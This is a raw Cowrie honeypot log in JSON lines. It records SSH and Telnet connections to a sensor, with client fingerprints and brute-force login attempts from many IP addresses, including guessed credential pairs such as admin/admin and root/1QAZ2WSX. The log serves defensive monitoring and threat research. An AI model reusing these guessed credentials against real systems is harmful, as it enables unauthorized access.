{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:18.778167Z","src_ip":"152.32.174.171","session":"36d4f132e170","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:19.002002Z","src_ip":"152.32.174.171","session":"36d4f132e170","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:19.450454Z","src_ip":"152.32.174.171","session":"36d4f132e170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:19.673301Z","src_ip":"152.32.174.171","session":"36d4f132e170","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":57000,"dst_ip":"10.17.0.5","dst_port":22,"session":"31539d48bd91","protocol":"ssh","message":"New connection: 130.12.180.51:57000 (10.17.0.5:22) [session: 31539d48bd91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:19.793260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:19.798872Z","src_ip":"130.12.180.51","session":"31539d48bd91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:19.883582Z","src_ip":"130.12.180.51","session":"31539d48bd91","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:20.145200Z","src_ip":"130.12.180.51","session":"31539d48bd91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:20.667335Z","src_ip":"130.12.180.51","session":"31539d48bd91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.164.175","src_port":43764,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d2d55c0cc72","protocol":"ssh","message":"New connection: 138.197.164.175:43764 (10.17.0.5:22) [session: 8d2d55c0cc72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:21.552995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:21.557015Z","src_ip":"138.197.164.175","session":"8d2d55c0cc72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:21.573341Z","src_ip":"138.197.164.175","session":"8d2d55c0cc72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ2WSX","message":"login attempt [root/1QAZ2WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:21.677008Z","src_ip":"138.197.164.175","session":"8d2d55c0cc72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:22.707840Z","src_ip":"138.197.164.175","session":"8d2d55c0cc72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.174.129.232","src_port":51912,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9528ef1b37b","protocol":"ssh","message":"New connection: 160.174.129.232:51912 (10.17.0.5:22) [session: f9528ef1b37b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:30.115523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:30.120344Z","src_ip":"160.174.129.232","session":"f9528ef1b37b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:30.257112Z","src_ip":"160.174.129.232","session":"f9528ef1b37b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gy123456!","message":"login attempt [root/Gy123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:30.837650Z","src_ip":"160.174.129.232","session":"f9528ef1b37b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":43260,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e2625d4507d","protocol":"ssh","message":"New connection: 189.203.163.10:43260 (10.17.0.5:22) [session: 6e2625d4507d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:31.427128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:31.430772Z","src_ip":"189.203.163.10","session":"6e2625d4507d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:31.492772Z","src_ip":"189.203.163.10","session":"6e2625d4507d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"123321","message":"login attempt [erp/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:31.778187Z","src_ip":"189.203.163.10","session":"6e2625d4507d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:31.976637Z","src_ip":"160.174.129.232","session":"f9528ef1b37b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:32.843089Z","src_ip":"189.203.163.10","session":"6e2625d4507d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":51454,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e31e3185d31","protocol":"ssh","message":"New connection: 159.65.58.200:51454 (159.203.135.109:22) [session: 7e31e3185d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:42.091521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:42.332095Z","src_ip":"159.65.58.200","session":"7e31e3185d31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:42.337771Z","src_ip":"159.65.58.200","session":"7e31e3185d31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"schatrch","password":"123456","message":"login attempt [schatrch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:43.717850Z","src_ip":"159.65.58.200","session":"7e31e3185d31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34110,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e07b219b7d2","protocol":"telnet","message":"New connection: 170.64.224.25:34110 (159.203.135.109:23) [session: 5e07b219b7d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:44.441513Z"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:45.013396Z","src_ip":"159.65.58.200","session":"7e31e3185d31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.16.244.39","src_port":51609,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc09c5e283f1","protocol":"ssh","message":"New connection: 177.16.244.39:51609 (10.17.0.5:22) [session: cc09c5e283f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:46.145230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:46.149114Z","src_ip":"177.16.244.39","session":"cc09c5e283f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:46.296091Z","src_ip":"177.16.244.39","session":"cc09c5e283f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.38.41","src_port":49990,"dst_ip":"159.203.135.109","dst_port":22,"session":"23cc64010548","protocol":"ssh","message":"New connection: 165.232.38.41:49990 (159.203.135.109:22) [session: 23cc64010548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:46.336488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:46.340267Z","src_ip":"165.232.38.41","session":"23cc64010548","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:46.408662Z","src_ip":"165.232.38.41","session":"23cc64010548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"India@2024","message":"login attempt [root/India@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:46.714484Z","src_ip":"165.232.38.41","session":"23cc64010548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev@12345","message":"login attempt [dev/dev@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:46.844211Z","src_ip":"177.16.244.39","session":"cc09c5e283f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:47.785665Z","src_ip":"165.232.38.41","session":"23cc64010548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:47.975301Z","src_ip":"177.16.244.39","session":"cc09c5e283f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.116.158","src_port":42816,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7a90bd3ffe7","protocol":"telnet","message":"New connection: 167.172.116.158:42816 (159.203.135.109:23) [session: f7a90bd3ffe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:51.429212Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":37454,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9f35f633bee","protocol":"ssh","message":"New connection: 91.92.40.4:37454 (10.17.0.5:22) [session: c9f35f633bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:12.948877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:13.156059Z","src_ip":"91.92.40.4","session":"c9f35f633bee","protocol":"ssh"}
